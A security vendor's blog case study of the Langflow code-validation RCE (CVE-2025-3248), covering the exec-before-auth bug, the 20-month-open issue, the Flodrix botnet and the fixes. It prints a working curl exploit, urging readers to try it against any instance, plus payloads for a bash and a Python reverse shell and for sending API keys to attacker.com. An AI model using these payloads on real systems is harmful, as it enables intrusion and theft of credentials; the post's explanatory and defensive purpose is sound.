• Agents
  • Pricing
  • Blog
Log in
Get started

Security for apps built with AI. Paste a URL, get a report, fix what matters.

Product

  • How it works
  • What we find
  • Pricing
  • Agents
  • MCP Server
  • CLI
  • GitHub Action

Resources

  • Guides
  • Blog
  • Docs
  • OWASP Top 10
  • Glossary
  • FAQ

Security

  • Supabase Security
  • Next.js Security
  • Lovable Security
  • Cursor Security
  • Bolt Security

Legal

  • Privacy Policy
  • Terms of Service
  • Cookie Policy
  • Imprint
© 2026 Flowpatrol. All rights reserved.
Back to Blog

Apr 5, 2026 · 11 min read

Langflow RCE: Code Execution Before the Auth Check — Two Years Open, Then a Botnet

A GitHub issue reported an RCE on Langflow's code validation endpoint in July 2023. It sat open 20 months. The endpoint used exec() BEFORE checking auth. One curl. One Python decorator. CVE-2025-3248.

FFlowpatrol Team·Case Study
Langflow RCE: Code Execution Before the Auth Check — Two Years Open, Then a Botnet

The 40-second proof of concept

Langflow is a visual builder for LLM pipelines. You drag, drop, wire APIs together, add custom Python code. It had a /api/v1/validate/code endpoint to check whether your Python was syntactically valid before running it.

Here's the exploit — copy this into your terminal right now against any Langflow instance:

curl -X POST http://target:7860/api/v1/validate/code \
  -H "Content-Type: application/json" \
  -d '{
    "code": "@exec(__import__(\"os\").system(\"id\"))\ndef x(): pass"
  }'

That works. Code runs. You get RCE. No login required. No token in the header. No authentication at all.

Why? Because the endpoint executed the user-supplied code first, then checked whether the user was authenticated. By the time the auth check ran, the exec() had already fired.


CVE-2025-3248: The ordering bug that lived for 20 months

The vulnerability is CVSS 9.8 critical. It earned it. Unauthenticated remote code execution on a platform that runs inside corporate networks, controls GPU-accelerated compute, and stores API keys from OpenAI, Anthropic, and every major vendor a company uses.

Langflow itself is legitimate software. 40,000+ stars on GitHub. Real enterprises running real AI workflows on it — RAG applications, chatbots, LLM agents. The problem wasn't the design. The problem was the order of operations in one endpoint.

And the problem was reported on July 27, 2023. The fix shipped March 31, 2025. Twenty months between "someone told you about this critical RCE" and "we finally fixed it." The GitHub issue stayed open the entire time.

During those 20 months, every Langflow instance was exploitable by anyone who read issue #696.


How the vulnerability worked

The vulnerable endpoint was /api/v1/validate/code. Its job was to check whether user-submitted Python code was syntactically valid. Here's a simplified version of the code path:

@router.post("/api/v1/validate/code")
async def validate_code(request: CodeValidationRequest):
    code = request.code

    # Step 1: Parse and execute the code
    ast_tree = ast.parse(code)
    compiled = compile(ast_tree, '<string>', 'exec')
    exec(compiled)  # Runs attacker's code RIGHT HERE

    # Step 2: Check authentication (too late)
    if not is_authenticated(request):
        raise HTTPException(401, "Not authenticated")

The ordering is the entire vulnerability. exec() runs on line 7. The auth check happens on line 10. By the time the server realizes the caller isn't logged in, their code has already executed with the full privileges of the Langflow process.

Diagram showing auth check AFTER code execution versus the correct order of auth check BEFORE execution
Diagram showing auth check AFTER code execution versus the correct order of auth check BEFORE execution

This isn't a subtle logic error buried deep in a complex system. It's the wrong order of operations on a public-facing endpoint. The fix was straightforward: move the auth check above the exec() call. But for every version of Langflow before 1.3.0, the door was wide open.


The decorator trick: Python's parse-time execution

Here's where it gets interesting for the Python community.

You might think exec() only runs the body of the submitted code — that defining a function is safe because the function itself doesn't get called. But Python decorators are evaluated at parse time, not at call time. When the interpreter encounters a decorated function definition, it evaluates the decorator expression immediately.

Attackers used this to smuggle execution into what looks like an innocent function definition:

@exec(__import__('os').system('id'))
def innocent_function():
    pass

When exec() processes this code, here's what happens:

  1. Python encounters the function definition with a decorator
  2. It evaluates the decorator expression: __import__('os').system('id')
  3. os.system('id') runs — the attacker's command executes
  4. The function object is never even created
  5. The attacker has code execution

The function body is irrelevant. The decorator is the payload. And because __import__ is a built-in, there's no need to have os or subprocess already imported. Everything the attacker needs is available in a default Python environment.

Exploit variations

The decorator trick enabled a range of attacks, from reconnaissance to full server takeover:

# Reconnaissance
@exec(__import__('os').system('whoami'))
def x(): pass

# Reverse shell
@exec(__import__('os').system(
    'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
))
def x(): pass

# Steal API keys from environment variables
@exec(__import__('os').system(
    'curl http://attacker.com/?k='
    + __import__('os').environ.get('OPENAI_API_KEY', '')
))
def x(): pass

# Python-native reverse shell (no bash needed)
@exec(
    "import socket,subprocess;"
    "s=socket.socket();"
    "s.connect(('attacker.com',4444));"
    "subprocess.call(['/bin/sh','-i'],"
    "stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())"
)
def x(): pass

Every one of these payloads fits in a single HTTP request body. No authentication required. No multi-step exploit chain. Just POST to /api/v1/validate/code with the payload as the code field.


Two years of silence

Here's where it gets worse.

On July 27, 2023, a GitHub user named @Lyutoon opened Issue #696 on the Langflow repository. The report was clear and specific:

"The code validation endpoint can be exploited for RCE through a function definition's default parameter. This allows unauthenticated remote code execution."

The issue sat open. No fix. No triage. No security advisory. For nearly two years.

Here's the full timeline:

DateEvent
July 27, 2023@Lyutoon reports the vulnerability in GitHub Issue #696
2023-2024Issue remains open, vulnerability unpatched
March 31, 2025Langflow 1.3.0 released with fix
April 3, 2025VulnCheck assigns CVE-2025-3248
May 5, 2025CISA adds it to the Known Exploited Vulnerabilities catalog
May-June 2025Active exploitation campaigns documented in the wild

Twenty months between "someone told you about this" and "you fixed it." In that window, every Langflow instance on the internet was running an unauthenticated remote code execution endpoint. Anyone who read the GitHub issue had a working exploit.

This is a pattern worth paying attention to. Open-source projects — especially fast-growing ones in the AI space — often prioritize features over security. The maintainers weren't malicious. They were building a product that people loved. But a critical security report collecting dust in a GitHub issue tracker for two years is a systemic failure, not just an oversight.


The Flodrix botnet

The vulnerability didn't stay theoretical. Attackers automated exploitation at scale.

Trend Micro documented an active campaign using CVE-2025-3248 to deploy the Flodrix botnet. The attack chain was straightforward:

  1. Scan the internet for exposed Langflow instances (Shodan, Censys, or custom scanners)
  2. Send the decorator payload to /api/v1/validate/code
  3. Install the Flodrix botnet agent on the compromised server
  4. Harvest API keys from environment variables
  5. Use the compromised server for DDoS attacks, cryptomining, and lateral movement into internal networks

Diagram showing the exploitation chain: discovery of Langflow instance, exploit delivery, botnet installation, and post-exploitation activities
Diagram showing the exploitation chain: discovery of Langflow instance, exploit delivery, botnet installation, and post-exploitation activities

The campaign targeted servers in the US, Australia, Singapore, Germany, and Mexico. Greynoise observed 361+ malicious IPs scanning for vulnerable Langflow instances.

On May 5, 2025, CISA added CVE-2025-3248 to the Known Exploited Vulnerabilities (KEV) catalog — the list of vulnerabilities that federal agencies are mandated to patch on a deadline. When CISA puts something in the KEV, it means one thing: this is being exploited right now, at scale, against real targets.


A second vulnerability made it worse

As if one critical RCE wasn't enough, researchers at Obsidian Security found a second critical vulnerability in Langflow: CVE-2025-34291 (CVSS 9.4). This one enabled account takeover and remote code execution simply by having a logged-in Langflow user visit a malicious webpage.

CVE-2025-3248CVE-2025-34291
TypeUnauthenticated RCEAccount takeover + RCE
CVSS9.89.4
AttackDirect POST requestUser visits malicious page
User interactionNoneOne click

Two critical-severity vulnerabilities in the same AI platform, both enabling full server compromise. The first required no interaction at all. The second required a user to click a link.


The AI tools problem

Langflow's vulnerability isn't an isolated incident. It's a symptom of a broader pattern: AI tools have fundamentally different attack surfaces than traditional web applications.

Traditional web apps handle data — text, images, user records. AI platforms handle code. They evaluate expressions, execute pipelines, run arbitrary logic. The features that make them powerful — dynamic code execution, plugin systems, tool use — are the same features that create dangerous entry points.

This shows up across the AI tooling ecosystem:

  • Langflow: exec() on unauthenticated endpoint
  • AI-generated code: String concatenation instead of parameterized queries
  • Vibe-coded apps broadly: Missing auth, disabled access controls, exposed secrets

The OWASP Top 10 maps directly to what happened here. CVE-2025-3248 is simultaneously A03 (Injection), A07 (Authentication Failures), and A04 (Insecure Design). Using exec() on user input is a design problem. Doing it before auth is an implementation problem. Together, they're catastrophic.

For builders using AI platforms and AI-generated code: the tools you rely on may have vulnerabilities you can't see from the outside. Langflow looked like a polished, well-maintained project with 40,000 GitHub stars. The RCE was invisible until someone checked.


What you should do right now

If you run Langflow:

  1. Upgrade to version 1.3.0 or later immediately.
    pip install langflow>=1.3.0
    
  2. If you can't upgrade yet, block external traffic to the instance with firewall rules.
  3. Check your logs for requests to /api/v1/validate/code from unexpected IPs. If you find any, assume your instance was compromised — rotate all API keys in that environment.

If you build AI features that execute user code:

Never do this:

@router.post("/api/validate")
async def validate(code: str):
    exec(code)  # WRONG
    if not is_authenticated():
        raise 401

Do this instead:

@router.post("/api/validate")
async def validate(code: str):
    if not is_authenticated():  # Check FIRST
        raise 401
    try:
        ast.parse(code)  # Parse without executing
    except SyntaxError:
        return {"valid": False}
    return {"valid": True}

If you must execute user code, use a sandbox: Docker container, separate process, restricted filesystem. Never bare exec() on untrusted input.

Check your own endpoints in 60 seconds:

If you built an app with Lovable, Bolt, Cursor, or any AI tool, find your API endpoints and try hitting them while logged out. Open DevTools → Network tab. Look for any endpoint that should require authentication but doesn't. Try:

# Does this work without a login token?
curl https://your-app.com/api/internal/endpoint

# If you get data back, you have a problem.

Scan before you ship. Flowpatrol scans for exactly these patterns: exposed endpoints, missing auth checks, dangerous patterns like exec() on user input. Paste your URL. Five minutes. You'll know whether your app has this problem.


The pattern: AI tools, dangerous operations, default-open

This vulnerability lives at the intersection of three things:

  1. AI platforms let you run arbitrary code. That's the feature. It's powerful. It's also dangerous.
  2. Code execution requires auth, period. No exceptions. No "just validate it first."
  3. GitHub issues get triaged slowly. Langflow, like most open-source projects, is resource-constrained. A critical security report that would have taken 48 hours to fix in enterprise software sat open for 20 months.

The pattern keeps repeating:

  • Langflow (2023): exec() before auth
  • Lovable (2025): RLS disabled by default — 170 apps exposed
  • Moltbook (2026): Zero row-level security on production databases
  • Your app (2026): Probably has three endpoints that don't check authentication

The common thread: the default is open. It's the builder's job to lock it. The framework doesn't help. The platform doesn't guard it. The tools don't think about it. It just... ships.


The gap: fast to build, slow to secure

Langflow's fix happened in 24 hours once it was officially disclosed. The issue was clear, the code path was obvious, the patch was trivial. But it sat open for 20 months.

That's the pace of open-source maintenance grinding against the pace of production deployment. Builders are moving at "ship in a day" speed. Security reviews move at "whenever someone has bandwidth" speed. When you're the maintainer of a 40k-star project and your day job is building features, a GitHub issue — even a critical one — loses urgency.

This creates a fundamental gap: by the time a platform realizes it has a security problem, thousands of apps have already been built and deployed on the vulnerable infrastructure. Every app inherits the flaw. The blast radius becomes massive.

And that gap is exactly why you can't just trust the platform. You have to check.


Before Langflow flags you, flag yourself

You shipped something. It's live. You're proud. The last thing you want to hear is "we found a vulnerability."

But better that than a researcher finding it. Or a botnet. Or a competitor. Or waking up to CISA adding your infrastructure to the Known Exploited Vulnerabilities list.

Flowpatrol scans for these patterns: unauthenticated endpoints, exec/eval on user input, exposed secrets, broken access controls. Paste your URL. Five minutes. You'll know what's exposed before anyone else does.

Check your own app while you still have the power to fix it.


CVE-2025-3248 is documented in public research by Horizon3.ai, Trend Micro, Zscaler ThreatLabz, and CISA KEV.

Back to all posts

More in Case Study

The app making $100K a month had no auth middleware. It took 2 minutes to find out.
Apr 30, 2026

The app making $100K a month had no auth middleware. It took 2 minutes to find out.

Read more
Lovable Builds Your App. For 48 Days, Anyone on Lovable Could Read It.
Apr 30, 2026

Lovable Builds Your App. For 48 Days, Anyone on Lovable Could Read It.

Read more
The AI Took 9 Seconds. The Recovery Took 30 Hours.
Apr 30, 2026

The AI Took 9 Seconds. The Recovery Took 30 Hours.

Read more